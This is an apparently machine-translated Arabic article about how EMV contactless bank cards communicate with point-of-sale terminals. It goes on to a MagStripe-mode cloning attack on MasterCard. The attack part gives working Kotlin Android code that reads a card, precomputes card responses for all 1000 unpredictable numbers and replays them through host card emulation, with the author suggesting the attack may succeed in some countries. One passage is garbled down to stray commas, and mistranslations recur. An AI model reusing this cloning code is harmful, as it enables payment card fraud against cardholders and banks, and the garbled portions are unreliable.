لطالما كان من المثير للاهتمام أن نرى ما يحدث على بطاقة مصرفية تحت غطاء محرك السيارة. كيف يتم تنفيذ بروتوكول الاتصال لبطاقة مصرفية ومحطة نقاط بيع ، وكيف تعمل وكيف أنها آمنة. ظهرت هذه الفرصة أمامي عندما كنت أتدرب في الأمن الرقمي. ونتيجة لذلك ، عند تحليل إحدى نقاط الضعف المعروفة لبطاقات EMV في وضع MagStripe ، تقرر تنفيذ تطبيق جوال قادر على التواصل مع المحطة الطرفية عبر واجهة تلامسية ، باستخدام أوامرها الخاصة وتحليل مفصل للطلبات والاستجابات. وحاول أيضًا تنفيذ طريقة استنساخ بطاقات MasterCard في وضع MagStripe.
في هذه المقالة سأحاول وصف ما هي بطاقة EMV ، وكيف تعمل وكيف يمكنك استخدام Android يمكنك محاولة استنساخ بطاقة MasterCard الخاصة بك.
"هناك بعض الأشياء التي لا يمكن أن يشتريها المال. لكل شيء آخر ، هناك بطاقة MasterCard »ما هي بطاقة EMV؟
EMV هو المعيار الدولي للبطاقات المصرفية مع شريحة.
شارك E uropay +
M asterCard +
V ISA في تطوير هذا المعيار ، ومن هنا جاء الاسم. دعنا نحاول معرفة كيفية تواصل البطاقة مع طرف نقطة البيع عبر واجهة تلامس.
لنبدأ بالأساسيات.
تعمل بطاقة EMV الفعلية غير المتصلة تقريبًا مثل بطاقة RFID. إذا كان الأمر أساسيًا ، تدخل الرقاقة المجال الكهرومغناطيسي ، وفي دائرة موصلة مغلقة (في حالتنا ستكون هوائيًا يقع حول المحيط) ، موضوعة في مجال مغناطيسي متناوب ، يتم توليد تيار كهربائي متناوب. يقوم هذا التيار بشحن مكثف خاص متصل بالتوازي مع الدائرة الرنانة للبطاقة. يتم استخدام الطاقة المخزنة في المكثف لأداء بطاقة الدائرة المصغرة لعمليات مختلفة. عندما يغير القارئ المجال الكهرومغناطيسي ، ستكون التغييرات ملحوظة على الفور على الشريحة. باستخدام تعديل الإشارة ، يمكننا إرسال المعلومات في شكل ثنائي. إذا قمت بتوصيل مقاومة الحمل على البطاقة أو قمت بتغيير سعة المكثف ، يمكنك تغيير القوة الحالية في دائرة البطاقة ، مما سيؤدي إلى تغيير في المجال الكهرومغناطيسي الذي أنشأته في منطقة دائرة القارئ ، وبالتالي فإن البطاقة تنقل البيانات. سيتعين على القارئ الكشف عن هذه التغييرات. يخضع هذا التفاعل المادي لمعيار ISO / IEC 14443
"بطاقات التعريف - بطاقات الدوائر المتكاملة غير المتصلة - بطاقات القرب" .
شريحة البطاقة نفسها هي بطاقة ذكية تقوم بتشغيل JavaCard ، وهي نسخة منفصلة من Java لمنصات ذات موارد حوسبة منخفضة ودعم خوارزميات التشفير. تقوم JavaCard بتنزيل التطبيقات الصغيرة ، وهي تطبيقات. هناك أيضًا GlobalPlatform هو معيار معين لـ JavaCard ، والذي يوفر القدرة على إدارة البيانات على الخريطة بأمان ويسمح لك بتنزيل التطبيقات وتعديلها وحذفها على الخريطة. في هذه المقالة ، لن نفكر في آليات الأمان للبطاقة الذكية نفسها. يكفي أن تعرف أن البيانات المحمية ، على سبيل المثال ، المفتاح الخاص والمفتاح الرئيسي السري للبطاقة ، في مكان آمن ومن المستحيل إزالتها باستخدام الوسائل القياسية.
أذكرك أيضًا بمصطلحات صغيرة لأولئك غير المألوفين.
نقطة البيع (نقطة البيع) - جهاز البائع الذي يقرأ البطاقة ويبدأ الدفع. علاوة على ذلك سوف نسمي هذا الجهاز ببساطة محطة.
البنك المصدر هو البنك الذي أصدر بطاقتك.
Acquirer Bank - البنك الذي يصدر محطات نقاط البيع للبائعين ويعالج المدفوعات منهم.
نظام الدفع هو الرابط المركزي بين البنك المستحوذ والبنك المصدر ، حيث تمر جميع المدفوعات به على الإطلاق ، وهو يعرف أي بنك يجب أن يحول الأموال إلى المبلغ. هناك العديد من أنظمة الدفع في العالم ، بالإضافة إلى
Visa و
MasterCard المعروفين
، وهناك أيضًا
American Express و
China UnionPay ونظام الدفع الروسي
MIR .
حسنًا ، يمكن للبطاقة والقارئ التواصل. يرسلون أوامر APDU بعضهم البعض في شكل
Tag-Length-Value ، أي يتم نقل اسم العلامة بالنظام الست عشري ، وطولها وقيمتها نفسها. يتم وصف جميع الأوامر بالطبع في
الوثائق وتبدو على النحو التالي:

تتم معاملة EMV القياسية في عدة مراحل ، سأصف خوارزمية التفاعل الكامل في حالة واجهة الاتصال ، بالنسبة للواجهة غير التلامسية ، يتم تقصير الخوارزمية إلى حد ما:
- اختيار التطبيق ؛
- بدء معالجة الطلب ؛
- قراءة بيانات التطبيق
- المصادقة دون اتصال
- قيود المعالجة ؛
- شيك حامل البطاقة
- إدارة المخاطر على جانب المحطة ؛
- تحليل الإجراءات النهائية ؛
- إدارة المخاطر على جانب البطاقة ؛
- تحليل إجراءات البطاقة ؛
- المعالجة عبر الإنترنت ؛
- الانتهاء من العملية.

نحن نعتبر بإيجاز كل عملية.
اختيار التطبيق. غالبًا ما يحدث أنه يمكن أن يكون هناك العديد من التطبيقات على بطاقة واحدة. على سبيل المثال ، بطاقة مصرفية وتذكرة سفر. وتحتاج المحطة الطرفية بطريقة ما إلى معرفة أين وأي خوارزمية لاستخدامها. يتم استخدام ما يسمى
معرف التطبيق (AID ) لتحديد تطبيق. لفهم ذلك ، يرسل الطرفية أمر
SELECT . على سبيل المثال ، سيبدو
AID لبطاقة Visa Classic على
النحو التالي :
A0000000031010 . في حالة استجابة العديد من هذه الرموز واستطاعت المحطة الطرفية العمل مع العديد من التطبيقات ، ستعرض الوحدة الطرفية قائمة وتعرض تحديد التطبيق الذي نحتاجه. إذا كان الجهاز لا يدعم أي من رموز التطبيق ، فسيتم رفض العملية من قبل الجهاز.
جاري بدء معالجة التطبيق. هنا ، يتم التحقق من الموقع الجغرافي لأول مرة. على سبيل المثال ، يمكن أن تعمل بطاقات Maestro Momentum للدفع في روسيا فقط. تتم هذه المرحلة من أجل إتاحة الفرصة للمُصدِّرين لتطبيق أساليب إدارة المخاطر الحالية عبر الإنترنت عند إجراء العمليات في وضع عدم الاتصال. في هذه المرحلة ، يمكن إلغاء معاملة EMV بمبادرة من البطاقة نفسها إذا كان هذا النوع من المعاملات محظورًا من قبل المصدر في بلد معين في العالم. علاوة على ذلك ، ترسل البطاقة إلى الجهاز الطرفي مجموعة من المعلومات المنظمة بشكل خاص تحتوي على وصف لوظيفة البطاقة والتطبيق.
قراءة بيانات التطبيق. يتم نقل بيانات البطاقة المختلفة اللازمة للمعاملة إلى الجهاز الطرفي ، على سبيل المثال ، رقم البطاقة وتاريخ انتهاء الصلاحية وعداد المعاملات والعديد من البيانات الأخرى. بعضها سيناقش لاحقا.
بيانات العينة:

كما يتم إرسال شهادة المفتاح العام للبنك المصدر والبطاقة نفسها. لكي تتمكن الوحدة الطرفية من التحقق من التوقيع الرقمي لبعض بيانات البطاقة ، يتم استخدام
البنية التحتية للمفاتيح العمومية (
البنية التحتية للمفتاح العام). باختصار ، يحتوي نظام الدفع على زوج من المفاتيح - العامة والخاصة ، ونظام الدفع لجميع المشاركين في
CA (سلطة المركز) . في الواقع ، يقوم نظام الدفع لكل بنك للمصدر بإصدار زوج مفاتيح جديد ، وفي نفس الوقت يقوم بإنشاء شهادة للمفتاح العام لبنك المصدر ، وتوقيعه مع CA للمفتاح الخاص. علاوة على ذلك ، عندما يصدر البنك بطاقة جديدة ، فإنه ينشئ وفقًا لذلك زوجًا من المفاتيح للبطاقة ، وينشئ أيضًا شهادة المفتاح العام للبطاقة ، ويوقعها باستخدام المفتاح الخاص للبنك. في المحطات الطرفية ، عادة ما يتم توصيل شهادة المفتاح العام لأنظمة الدفع المختلفة. وبالتالي ، عندما ترسل البطاقة شهادة المفتاح العام لبنك المصدر وشهادة البطاقة نفسها ، يمكن للمحطة بسهولة التحقق من السلسلة بأكملها باستخدام المفتاح العام لنظام الدفع. تتحقق الوحدة الطرفية ، باستخدام المفتاح العام لنظام الدفع ، أولاً من صحة الشهادة المصرفية للمصدر ، إذا كانت أصلية ، فيمكن الوثوق بها ، ويمكنك الآن التحقق من شهادة البطاقة نفسها باستخدام الشهادة المصرفية للمصدر. مزيد من التفاصيل في المقالة
حول أمان EMV .
المصادقة دون اتصال. يحدد الطرفية نوع طريقة المصادقة غير المتصلة المدعومة. هناك ثابت (
مصادقة البيانات الثابتة - SDA ) ، ديناميكي (
مصادقة البيانات الديناميكية - DDA )
والمدمج (
مصادقة البيانات المدمجة - CDA ). تعتمد هذه الطرق أيضًا على البنية التحتية للمفاتيح العمومية.
SDA هي بيانات موقعة للتو على المفتاح الخاص لبنك المصدر ،
DDA - يرسل الجهاز بعض الرقم العشوائي ويجب على البطاقة التوقيع عليه باستخدام مفتاحه الخاص ، وستتحقق الوحدة الطرفية من هذا التوقيع باستخدام شهادة البطاقة التي تم استلامها سابقًا ، لذلك سيتأكد الجهاز من تحتوي البطاقة حقًا على مفتاح خاص - وبالتالي فهي أصلية.
CDA هو مجرد مزيج من كليهما.
قيود المناولة. هنا ، يقوم الجهاز بفحص البيانات المستلمة مسبقًا من البطاقة لمعرفة مدى ملاءمتها لهذه العملية. على سبيل المثال ، يتحقق من تواريخ البدء /
الانتهاء لتاريخ انتهاء صلاحية التطبيق (العلامة '5F24') وتاريخ سريان التطبيق (العلامة '5F25') . كما يتحقق من إصدار التطبيق. يتم تسجيل نتائج العمليات المنفذة في هذه المرحلة أيضًا في تقرير
TVR (نتائج التحقق النهائي
) . بناءً على نتائج هذه المرحلة ، لا يمكن إلغاء المعاملة ، حتى إذا انتهت صلاحية التطبيق ، على سبيل المثال.
شيك حامل البطاقة. يتم التحقق من حامل البطاقة من أجل مصادقة الشخص الذي قدم البطاقة والتحقق مما إذا كان المالك الحقيقي للبطاقة. يوفر معيار EMV طرقًا مختلفة
للتحقق من حامل البطاقة . يتم تحديد طرق التحقق على كل من المحطة الطرفية وعلى الخريطة. وهي واردة في ما يسمى
بقوائم CVM . في عملية التنفيذ ، تقوم الوحدة الطرفية والبطاقة بمقارنة قوائم CVM المستلمة وتحديد طريقة التحقق العامة.
قائمة طرق التحقق المدعومة:
- لا يوجد CVM مطلوب ('011111'b) ؛
- فشل معالجة CVM ('000000'b) ؛
- التوقيع ('011110'b) ؛
- تم التحقق من رقم التعريف الشخصي المشفر عبر الإنترنت ('000010'b) ؛
- إجراء التحقق من رقم التعريف الشخصي للنص العادي بواسطة ICC ('000001'b) ؛
- إجراء التحقق من رقم التعريف الشخصي للنص العادي بواسطة ICC والتوقيع ('000011'b) ؛
- التحقق من رقم التعريف الشخصي المشفر الذي تقوم به المحكمة الجنائية الدولية ('000100'b) ؛
- التحقق من رقم التعريف الشخصي المشفر الذي تقوم به ICC والتوقيع ('000101'b).
هنا
توجد أيضًا معلومات مثيرة للاهتمام حول هذا الموضوع.
إدارة المخاطر على جانب المحطة. في هذه المرحلة ، تجري المحطة تحققًا داخليًا من معلمات المعاملات ، استنادًا إلى إعدادات إدارة المخاطر للبنك المستحوذ. يمكن تنفيذ إجراءات إدارة المخاطر من قبل الجهاز في أي وقت بين اكتمال عملية قراءة بيانات البطاقة وتشكيل أول أمر
AC AC من قبل الجهاز. تتضمن إدارة المخاطر من جانب المحطة ثلاث آليات:
- التحكم في حجم العمليات التي تتم على البطاقة ( فحص حد الأرضية ) ؛
- اختيار المعاملات العشوائية للحصول على تفويض عبر الإنترنت لهذه المعاملة من قبل المصدر ( اختيار المعاملات العشوائية ) ؛
- التحقق من النشاط غير المتصل لاستخدام البطاقة ( فحص السرعة ).
تحليل الإجراءات النهائية. في هذه المرحلة ، يقوم الجهاز بتحليل نتائج الخطوات السابقة للمعاملة. بناءً على نتائج التحليل ، تتخذ المحطة قرارًا بشأن إجراء العملية عبر الإنترنت أو السماح بتنفيذها في وضع عدم الاتصال أو رفض العملية.
إدارة المخاطر على جانب البطاقة. تقوم البطاقة ، بعد استلامها من بيانات أمر
Generate AC حول المعاملة ، والجهاز ، ونتائج عمليات الفحص النهائية ، بدورها ، بتنفيذ إجراءات إدارة المخاطر الخاصة بها وتتخذ قرارها الخاص بشأن كيفية إتمام العملية.
تحليل إجراءات البطاقة. في هذه المرحلة ، تكمل البطاقة إجراءات إدارة المخاطر وتولد تشفير استجابة للجهاز. إذا قررت البطاقة الموافقة على المعاملة ، يتم إنشاء
شهادة معاملة . إذا قررت البطاقة إجراء العملية في الوقت الفعلي ، فإنها تنشئ
ARQC (تشفير طلب التخويل) . إذا كانت البطاقة تستخدم طرق تفويض بديلة ، فسيتم استخدام
الإحالة إلى إذن التطبيق . في حالة رفض البطاقة للمعاملة ، ثم
تشفير مصادقة التطبيق .
هناك حاجة إلى تشفير آخر
ARPC (تشفير استجابة التفويض) لمصادقة المُصدر. يقوم المُصدر بإنشاء برنامج تشفير ARPC ويرسل التشفير إلى البطاقة ، إذا أكدت البطاقة التشفير ، يتم التحقق من المصدر بواسطة البطاقة.
القليل عن أمان المفاتيح والمصادقة المتبادلة للبطاقة والمصدر من كتاب I. M. Goldovsky:
معنى المصادقة المتبادلة هو أن البطاقة والمحطة الطرفية يصادقان بعضهما البعض باستخدام مصادقة تشفير ARQC و ARPC. إن التشفير عبارة عن بيانات يتم إنشاؤها باستخدام مفتاح سري (معروف للبطاقة والمصرف للمُصدر) ، ورقم المعاملة ، ورقم عشوائي يتم إنشاؤه بواسطة الجهاز ، بالإضافة إلى بعض تفاصيل المعاملة ، والمحطة والبطاقة. في حالة ARPC ، يتم أيضًا إضافة رمز استجابة الترخيص للمصدر إلى البيانات المدرجة. بدون معرفة المفتاح السري للبطاقة لإنشاء تشفير ، من المستحيل حساب قيم ARQC / ARPC في الوقت المنظور مع المستوى الحالي للتكنولوجيا ، وبالتالي فإن حقيقة التحقق منها الناجح تشير إلى صحة البطاقة والمصدر. المصادقة عبر الإنترنت هي الطريقة الأكثر موثوقية للمصادقة على البطاقة. هذا يرجع إلى حقيقة أنه يتم تنفيذه مباشرة من قبل المصدر ، دون وسيط في شكل محطة. بالإضافة إلى ذلك ، يتم استخدام خوارزمية 3DES بمفتاح مؤقت 112 بت للمصادقة عبر الإنترنت ، والتي تتوافق قوة التشفير مع قوة التشفير لخوارزمية RSA مع طول الوحدة النمطية للمفاتيح غير المتناظرة المستخدمة للمصادقة دون اتصال لتطبيق البطاقة التي تتجاوز 1700 بت. لا يزال استخدام مفاتيح غير متماثلة من هذا الطول على البطاقة نادرًا جدًا. عادةً ما يتم استخدام المفاتيح التي يبلغ طول الوحدة النمطية 1024 أو 1152 أو 1408 بت.
في نهاية المطاف ، تمر المعاملات عبر الإنترنت بسلسلة:
البطاقة <--> نقاط البيع الطرفية <--> اكتساب البنك <--> نظام الدفع <--> جهة إصدار البنك.
استنساخ MasterCard في وضع MagStripe
ننتقل مباشرة إلى مبدأ الاستنساخ. نشر باحثان
مايكل رولاند ، جوزيف لانغر من جامعة النمسا هذه الطريقة في الهجوم على البطاقة بدون تلامس. يقوم على مبدأ عام يسمى
Skimming . هذا هو السيناريو الذي يسرق فيه المهاجم الأموال من بطاقة مصرفية من خلال قراءة (نسخ) المعلومات من هذه البطاقة. في الحالة العامة ، من المهم الحفاظ على سرية رقم التعريف الشخصي وعدم تسريبه. ولكن في طريقة الرجال النمساويين ، لسنا بحاجة إلى معرفة ذلك. تم استنساخ بطاقة الدفع بنجاح لإصدار kernel من تطبيق EMV Contactless Kernel 2. يدعم إصدار هذا البروتوكول وضعي تشغيل للبطاقات اللاتلامسية: بروتوكول EMV
(MasterCard PayPass M / Chip) و
MagStripe (MasterCard PayPass MagStripe) .
MagStripe هو وضع دعم بطاقة الشريط المغناطيسي. يتم تنفيذ هذا الوضع على بطاقات MasterCard مع واجهة بدون تلامس. من المرجح أن يكون وضع MagStripe مطلوبًا للبنوك التي تجد صعوبة في نقل البنية التحتية بالكامل لدعم معاملات EMV للرقاقة. بالمناسبة ، بطاقات Visa لديها أيضًا طريقة تشغيل مماثلة -
PayWave MSD (بيانات الشريط المغناطيسي) .
يتم اقتطاع عملية معالجة المعاملات للبطاقات اللاتلامسية بالمقارنة مع البطاقات الذكية وعادة ما تعمل في الوضع التالي:
- يرسل الجهاز الطرفي أمر SELECT PPSE (بيئة نظام دفع التقارب). ترسل البطاقة قائمة بالتطبيقات المدعومة.
- يرسل الطرفية أمر SELECT . ورداً على ذلك ، يتلقى تفاصيل الطلب اللازمة.
- يرسل الطرفية الأمر GET_PROCESSING_OPTIONS . تجيب البطاقة على نوع المصادقة التي تدعمها وما إذا كان التحقق من حامل البطاقة موجودًا هناك.
- يرسل الطرفية الأمر READ_RECORDS . ترسل البطاقة استجابة Track1 و Track2 تقريبًا نفس ما تم تسجيله على الشريط المغناطيسي للبطاقة.
- يرسل الطرفية الأمر COMPUTE_CRYPTOGRAPHIC_CHECKSUM . مما يعني أن البطاقة يجب أن تولد قيمة CVC3 بناءً على الرقم غير المتوقع الذي تم تمريره.

كيف يبدو كل شيء في الحياة الحقيقية؟يبدو أن فريق
APDU .
قائمة بجميع العلامات .
APDU - وحدة بيانات بروتوكول التطبيق هي رمز للإطار مع أمر الخريطة أو استجابة الخريطة.
هناك بضع مقالات حول هذا الموضوع
هنا وهنا .
تدعم البطاقة الأمر COMPUTE CRYPTOGRAPHIC CHECKSUM الخاص ، والتي تكون وسيطتها هي البيانات المحددة في كائن بيانات الأرقام غير المتوقع (UDOL).
ونتيجة لذلك ، فإن البطاقة التي تستخدم خوارزمية 3DES والمفتاح السري تحسب القيمة الديناميكية CVC3 (رمز التحقق من البطاقة). كحجة للدالة 3DES ، يتم استخدام سلسلة من بيانات UDOL وعداد المعاملات (عداد معاملات التطبيق ، ATC).
وبالتالي ، فإن قيمة CVC3 تعتمد دائمًا على كائنات الأمم المتحدة و ATC.بمعنى آخر ، هذا الأمر مطلوب حتى تقوم البطاقة بإنشاء "توقيع" معين حتى يتمكن المصدر من التحقق من البطاقة. ومع ذلك ، فإن توقيع المعاملة نفسها مفقود من هذا التوقيع. يحتوي التوقيع على قيم
ATC - 2 بايت ،
CVC3 (Track1) - 2 بايت ،
CVC3 (Track2) - 2 بايت ، والتي يتم إنشاؤها بواسطة البطاقة بناءً على المفتاح السري ، والذي يعرفه أيضًا البنك المصدر وعداد المعاملات (ATC). في نفس الوقت ، لإنشاء التوقيع ، يبلغ جهاز نقطة البيع بطاقة
الأمم المتحدة (رقم غير متوقع) - 4 بايت ، والتي تستخدم أيضًا في إنشاء التوقيع. يمنع الرقم غير المتوقع إنشاء رموز المصادقة على بطاقة حقيقية لاستخدامها لاحقًا في المعاملات الاحتيالية. بالنسبة للهجوم ، تتدخل الأمم المتحدة بقوة معنا ، لأنه لا يمكن تعداد 4 بايت دون تجاوز حدود عداد المعاملات. ومع ذلك ، هناك بعض نقاط الضعف في تحديد ذلك.
أولاً ، تحدد المواصفات الأمم المتحدة لتشفير الأرقام ، أي
الرمز العشري الثنائي (BCD) ، مما يعني بشكل أساسي أنه إذا نظرنا إلى هذا الرقم المشفر في HEX ، فسوف نرى فقط أرقامًا من 0 إلى 9 ، يتم اعتبار جميع القيم الأخرى كأنه ممنوع. وبالتالي ، ينخفض مبلغ الأمم المتحدة من 4،294،967،295 إلى 99،999،999.
ثانيًا ، يتم تحديد عدد أرقام الأمم المتحدة المهمة بواسطة البطاقة. وبالتالي ، اعتمادًا على المعلمات الخاصة في المسارات ، يمكن أن يكون عدد الأرقام في الأمم المتحدة من 10 إلى 10000 ، اعتمادًا على نوع البطاقة ، عمليًا ، يتم العثور على 1000 قيمة في الغالب.
وبالتالي ، فإن خطة الهجوم هي كما يلي:- نقرأ البطاقة ونكتشف عدد الأرقام المهمة من الأمم المتحدة ، والتي ستوفرها المحطة
- نقوم بالفرز من خلال كل UNs ، ونحصل على جميع القيم الممكنة للدالة COMPUTE_CRYPTOGRAHIC_CHECKSUM ، ونحفظها في الجدول المقابل مع تعيين الأمم المتحدة -> النتيجة
- نحضره إلى محطة نقطة البيع ، ونكتشف الرقم الذي تطلبه محطة نقطة البيع.
- نختار النتيجة المرجوة من الجدول ونستبدلها ردًا على المحطة.
- الصفقة ستغادر.
- الربح. لكن نجاح الموافقة على الصفقة غير مضمون ، لأن البنك المصدر قد يرفض مثل هذه المعاملة.

وتجدر الإشارة أيضًا إلى أن عداد المعاملات (ATC) يمنع إعادة استخدام رموز المصادقة المستخدمة سابقًا ، مما يعني أنه إذا استخدمنا هذا الهجوم ، فيجب علينا نسخ البطاقة مرة أخرى ، لأن عداد المعاملات تم استخدامه بالفعل للحصول على معلومات وتم استخدامه في التوقيع ، مما يعني أنه إذا كان لدينا عداد معاملات بقيمة 1000 ، وبعد أن أرسلنا المعاملة إلى البنك ، فلن يقبل البنك بعد ذلك المعاملات مع عداد أقل من <1001. , 2 , , 65 , .
. ,
COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 ,
SELECT ,
GET_PROCESSING_OPTIONS ,
COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. ,
1000 Google Galaxy Nexus S .Terminal Simulator MasterCard. NFC- . . POS- . , .

NFC
ACR122 .

. Kotlin Android. .
data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) }
أولاً ، نحتاج إلى إعداد العمل مع NFC. على الهاتف يمكننا العمل في وضعين. في وضع البطاقة ، هذا عندما نستجيب للأوامر من الجهاز ، وفي وضع المحطة عندما نرسل الأوامر ونقرأ ، على سبيل المثال ، بطاقة. على سبيل المثال أولاً ، يمكننا استنساخ البطاقة ، ومن ثم التأكد من أننا نستجيب لطلبات من الجهاز بأوامر معدة بالفعل.
فيما يلي تنفيذ مبسط للتفاعل مع NFC:
private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv }
يصف هذا تسلسل الأوامر وتعداد قيم الرقم غير المتوقع في دورة من 0 إلى 999 ، نغير Nc إلى "00000 $ {String.format ("٪ 03d "، i)}". استبدل (".. (؟! $ ) ". toRegex () ،" $ 0 "). ولا تنس تنفيذ GET_PROCESSING_OPTIONS في كل مرة قبل COMPUTE_CRYPTOGRAPHIC_CHECKSUM وإلا فلن يتم احتساب مبلغ الشيك.
ونتيجة لذلك ، يمكن كتابة كل هذا في ملف واستخدامها بالفعل عند العمل مع هذا الجهاز. هنا نحصل على الاسم ورقم البطاقة ، يمكننا عرضه على الشاشة.
private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) // val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() }
مجموعة من الأوامر التي نحتاجها.
object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") }
لتنفيذ التنصت على الأوامر من الجهاز ، يجب أن تبدأ الخدمة وتعلن عنها في البيان. في هذه الخدمة ، يأتي أمر من الجهاز الطرفي إلى processCommandApdu ، ونقارنه بالأمر المخزن في الملف ، ونعطي الرد المكتوب في السطر التالي.
<service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service>
class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() }
زوج من لقطات الشاشة من التطبيق. نقرأ البطاقة وسجل parsim:

وبالتالي ، من الممكن محاكاة تشغيل بطاقة EMV اللاتلامسية على هاتف ببيانات البطاقة. ولكن لحسن الحظ أو لسوء الحظ بالنسبة لشخص ما ، فإن هذا الهجوم لا يعمل في روسيا. وفقًا لتجاربنا ، وصلت المعاملة طوال الوقت إلى بنك المصدر ورفضها البنك نفسه. بالإضافة إلى ذلك ، لم نتمكن من إجراء معاملة في وضع عدم الاتصال باستخدام MagStripe. ومع ذلك ، قد يتم تنفيذ مثل هذا الهجوم في بلدان أخرى حيث يكون استخدام وضع MagStripe أمرًا شائعًا تمامًا وخوارزمية إدارة المخاطر مختلفة قليلاً ، على سبيل المثال ، في الولايات المتحدة الأمريكية.
روابط بمساعدة هذه المقالة
بطاقات المعالجات الدقيقة المصرفية / I.M. Goldovsky - M.: TsIPSiR: Alpina Pub Lakers، 2010. - 686 p.
مشروع EMV: خطوة بخطوةبحث الباحثين النمساويينرابط لرمز التطبيقمحاكي الطرفية.بفضل
barracud4 لمساعدتي في إعداد هذا المقال.